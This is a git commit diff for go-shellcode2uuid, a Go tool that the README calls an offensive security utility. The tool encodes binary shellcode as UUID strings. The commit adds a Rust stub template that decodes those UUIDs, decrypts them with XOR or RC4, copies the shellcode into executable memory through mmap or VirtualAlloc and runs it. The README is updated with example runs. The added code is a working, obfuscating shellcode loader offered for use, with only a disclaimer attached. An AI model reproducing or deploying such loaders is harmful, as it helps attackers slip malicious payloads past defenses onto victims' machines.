aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--README.md79
-rw-r--r--main.go200
2 files changed, 246 insertions, 33 deletions
diff --git a/README.md b/README.md
index dc61d5a..8579989 100644
--- a/README.md
+++ b/README.md
@@ -1,13 +1,13 @@
# go-shellcode2uuid
-`go-shellcode2uuid` is an offensive security utility that encodes arbitrary binary shellcode into UUID strings, generating C and Python stubs to decode and execute the shellcode at runtime. It supports Linux and Windows platforms, with optional single-byte XOR encoding for obfuscation. This is a golang implementation of the popular technique written in many other programming lanauges with multiple authors.
+`go-shellcode2uuid` is an offensive security utility that encodes arbitrary binary shellcode into UUID strings, generating Python, C and Rust stubs to decode and execute the shellcode at runtime. It supports Linux and Windows platforms, with optional single-byte XOR or 16bit random key RC4 encryption/decryption for obfuscation. This is a golang implementation of the popular technique written in many other programming lanauges with multiple authors.
> **WARNING**: This tool is intended for **authorized security assessments only**. Misuse may violate laws or regulations. The author disclaims any responsibility for unlawful use. Always obtain explicit permission before conducting any security tests.
## Features
- **UUID encoding**: Converts raw shellcode bytes into UUID string literals for easy embedding.
-- **Multi-platform stubs**: Generates testing stubs for C (Linux and Windows), and Python.
+- **Multi-platform stubs**: Generates testing stubs for Python, C (Linux and Windows), Rust.
- **XOR or RC4 encryption**: Supports single-byte XOR or 16bit RC4 random key encryption/decryption for lightweight obfuscation.
- **Automatic shellcode padding**: Pads shellcode to a multiple of 16 bytes to fit UUID size.
@@ -59,14 +59,28 @@ Usage of ./go-shellcode2uuid-linux-amd64:
-rc4
enable rc4 encryption with 16bit random key
-stub string
- stub language to output (c, cwin, py)
+ stub language to output (py, c, cwin, rs)
-xor
enable single-byte xor encoding with random key
```
## Examples
-### Generate a Windows C stub with XOR encoding enabled:
+
+### Generate a Python stub with RC4 encryption:
+
+```
+$ ./go-shellcode2uuid-linux-amd64 -file shellcode_linux.bin -rc4 -stub py
+[inf] shellcode size (54 bytes) is not a multiple of 16, will pad with nullbytes
+[inf] using rc4 key: r24OlLLBQr6Ay8rL
+ef4cd858-172a-5494-d0f2-1aec40ea5813
+00ccb780-888c-ea60-0353-85d24303e0a9
+3627567b-6603-5074-4beb-a8c1b23c7211
+c73d284b-b64d-d337-4ec5-3be297937f8f
+[inf] stub written to stub.py
+```
+
+### Generate a Windows C stub with XOR encryption:
```
$ ./go-shellcode2uuid -file shellcode_win.bin -xor -stub cwin
@@ -92,20 +106,57 @@ c9549fd8-3420-1a60-169c-e7fc6919a75b
7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c
[inf] stub written to stub.c
-$ x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase
+$ head -10 stub.c
+// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase
+#include <windows.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+
+#define ORIGINAL_SHELLCODE_LENGTH 276
+
+const char* uuid_strings[] = {
+ "33874c2b-3f27-0fcf-cfcf-8e9e8e9f9d9e",
```
-### Generate a Python stub with RC4 encoding:
+### Generate a Windows Rust stub with XOR encryption:
```
-$ ./go-shellcode2uuid-linux-amd64 -file shellcode_linux.bin -rc4 -stub py
-[inf] shellcode size (54 bytes) is not a multiple of 16, will pad with nullbytes
-[inf] using rc4 key: r24OlLLBQr6Ay8rL
-ef4cd858-172a-5494-d0f2-1aec40ea5813
-00ccb780-888c-ea60-0353-85d24303e0a9
-3627567b-6603-5074-4beb-a8c1b23c7211
-c73d284b-b64d-d337-4ec5-3be297937f8f
-[inf] stub written to stub.py
+go-shellcode2uuid-linux-amd64 -file shellcode_win.bin -xor -stub rs
+[inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes
+[inf] using xor key: 0x92
+6eda1176-627a-5292-9292-d3c3d3c2c0c3
+c4daa340-f7da-19c0-f2da-19c08ada19c0
+b2da19e0-c2da-9d25-d8d8-dfa35bdaa352
+3eaef3ee-90be-b2d3-535b-9fd39353707f
+c0d3c3da-19c0-b219-d0ae-da934219121a
+929292da-1752-e6f5-da93-42c219da8ad6
+19d2b2db-9342-71c4-da6d-5bd319a61ada
+9344dfa3-5bda-a352-3ed3-535b9fd39353
+aa72e763-de91-deb6-9ad7-ab43e74acad6
+19d2b6db-9342-f4d3-199e-dad619d28edb
+9342d319-961a-da93-42d3-cad3cacccbc8
+d3cad3cb-d3c8-da11-7eb2-d3c06d72cad3
+cbc8da19-807b-c56d-6d6d-cfda28939292
+92929292-92da-1f1f-9393-9292d328a319
+fd156d47-2972-8fb8-98d3-2834072f0f6d
+47da1156-baae-94ee-9812-6972e79729d5
+81e0fdf8-92cb-d31b-486d-47f1f3fef1bc
+f7eaf792-9292-9292-9292-929292929292
+[inf] rust stub written to stub/src/main.rs
+[inf] stub written to stub/src/main.rs
+
+$ head -10 stub/src/main.rs
+// rustup target add x86_64-pc-windows-gnu
+// cargo build --release --target x86_64-pc-windows-gnu
+//
+// rustup target add x86_64-unknown-linux-gnu
+// cargo build --release --target x86_64-unknown-linux-gnu
+#[cfg(windows)]
+use winapi::ctypes::c_void;
+#[cfg(unix)]
+use std::ffi::c_void;
+use std::ptr;
```
- The tool prints the generated UUID strings to stdout and writes the stub source file (`stub.c` or `stub.py`).
diff --git a/main.go b/main.go
index ff71683..1d785b9 100644
--- a/main.go
+++ b/main.go
@@ -6,6 +6,7 @@ import (
"flag"
"fmt"
"os"
+ "path/filepath"
"text/template"
)
@@ -294,11 +295,137 @@ int main() {
}
`
+const rustStub = `// rustup target add x86_64-pc-windows-gnu
+// cargo build --release --target x86_64-pc-windows-gnu
+//
+// rustup target add x86_64-unknown-linux-gnu
+// cargo build --release --target x86_64-unknown-linux-gnu
+#[cfg(windows)]
+use winapi::ctypes::c_void;
+#[cfg(unix)]
+use std::ffi::c_void;
+use std::ptr;
+
+#[cfg(unix)]
+use libc::{mmap, MAP_ANON, MAP_PRIVATE, PROT_EXEC, PROT_READ, PROT_WRITE};
+
+#[cfg(windows)]
+extern crate winapi;
+
+use uuid::Uuid;
+
+const ORIGINAL_SHELLCODE_LENGTH: usize = {{ .OrigLen }};
+
+const UUIDS: [&str; {{ len .UUIDs }}] = [
+{{- range .UUIDs }}
+ "{{ . }}",
+{{- end }}
+];
+
+fn parse_uuids() -> Vec<u8> {
+ println!("decoding uuids to shellcode");
+ let mut buf = Vec::with_capacity(UUIDS.len() * 16);
+ for s in UUIDS.iter() {
+ let u = Uuid::parse_str(s).unwrap();
+ buf.extend_from_slice(u.as_bytes());
+ }
+ buf
+}
+
+{{- if .XORKey }}
+fn xor_decrypt(data: &mut [u8], key: u8) {
+ println!("xor decrypting shellcode");
+ for b in data.iter_mut() {
+ *b ^= key;
+ }
+}
+{{- end }}
+
+{{- if .RC4Key }}
+fn rc4_crypt(data: &mut [u8], key: &str) {
+ println!("rc4 decrypting shellcode");
+ let mut s: Vec<u8> = (0..=255).collect();
+ let k: Vec<u8> = key.bytes().collect();
+ let mut j = 0;
+
+ for i in 0..256 {
+ j = (j + s[i] as usize + k[i % k.len()] as usize) % 256;
+ s.swap(i, j);
+ }
+
+ let mut i = 0;
+ j = 0;
+ for byte in data.iter_mut() {
+ i = (i + 1) % 256;
+ j = (j + s[i] as usize) % 256;
+ s.swap(i, j);
+ let idx = (s[i] as usize + s[j] as usize) % 256;
+ *byte ^= s[idx];
+ }
+}
+{{- end }}
+
+fn main() {
+ let mut shellcode = parse_uuids();
+
+ {{- if .XORKey }}
+ xor_decrypt(&mut shellcode, {{ .XORKey }});
+ {{- end }}
+ {{- if .RC4Key }}
+ rc4_crypt(&mut shellcode, "{{ .RC4Key }}");
+ {{- end }}
+
+ println!("decoded shellcode length: {}", ORIGINAL_SHELLCODE_LENGTH);
+ shellcode.truncate(ORIGINAL_SHELLCODE_LENGTH);
+
+ println!("allocating executable memory");
+
+ unsafe {
+ let ptr: *mut c_void;
+
+ #[cfg(unix)]
+ {
+ ptr = mmap(
+ ptr::null_mut(),
+ shellcode.len(),
+ PROT_READ | PROT_WRITE | PROT_EXEC,
+ MAP_PRIVATE | MAP_ANON,
+ -1,
+ 0,
+ );
+ }
+
+ #[cfg(windows)]
+ {
+ use winapi::um::memoryapi::VirtualAlloc;
+ use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
+
+ ptr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+ }
+
+ if ptr.is_null() {
+ eprintln!("memory allocation failed");
+ return;
+ }
+
+ println!("executing shellcode");
+ ptr::copy_nonoverlapping(shellcode.as_ptr(), ptr as *mut u8, shellcode.len());
+ let exec_fn: extern "C" fn() = std::mem::transmute(ptr);
+ exec_fn();
+ }
+}
+`
+
func main() {
filePath := flag.String("file", "", "path to binary shellcode file")
- stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)")
+ stubLang := flag.String("stub", "", "stub language to output (py, c, cwin, rs)")
xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key")
- rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key")
+ rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key")
flag.Parse()
if *filePath == "" {
@@ -319,10 +446,10 @@ func main() {
data = append(data, make([]byte, pad)...)
}
- if *xorFlag && *rc4Flag {
- fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n")
- os.Exit(1)
- }
+ if *xorFlag && *rc4Flag {
+ fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n")
+ os.Exit(1)
+ }
var rc4Key []byte
var xorKey byte = 0
@@ -341,18 +468,18 @@ func main() {
data[i] ^= xorKey
}
} else if *rc4Flag {
- var err error
- rc4Key, err = generateRC4Key()
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err)
- os.Exit(1)
- }
- fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key))
- data, err = rc4Encrypt(data, rc4Key)
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err)
- os.Exit(1)
- }
+ var err error
+ rc4Key, err = generateRC4Key()
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err)
+ os.Exit(1)
+ }
+ fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key))
+ data, err = rc4Encrypt(data, rc4Key)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err)
+ os.Exit(1)
+ }
}
var uuids []string
@@ -377,6 +504,42 @@ func main() {
case "cwin":
stubContent = cWinStub
fileName = "stub.c"
+ case "rs":
+ stubContent = rustStub
+ baseDir := "stub"
+ srcDir := filepath.Join(baseDir, "src")
+ err = os.MkdirAll(srcDir, 0755)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to create directories: %v\n", err)
+ os.Exit(1)
+ }
+
+ cargoToml := `[package]
+name = "stub"
+version = "0.0.1"
+edition = "2024"
+
+[dependencies]
+uuid = "1.3"
+libc = "0.2"
+
+[target.'cfg(windows)'.dependencies]
+winapi = { version = "0.3", features = ["memoryapi", "winnt"] }
+`
+ err = os.WriteFile(filepath.Join(baseDir, "Cargo.toml"), []byte(cargoToml), 0644)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to write Cargo.toml: %v\n", err)
+ os.Exit(1)
+ }
+
+ fileName = filepath.Join(srcDir, "main.rs")
+ err = renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to write stub.rs: %v\n", err)
+ os.Exit(1)
+ }
+
+ fmt.Printf("[inf] rust stub written to %s\n", fileName)
default:
fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n")
os.Exit(1)
@@ -462,4 +625,3 @@ func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey by
"RC4Key": string(rc4Key),
})
}
-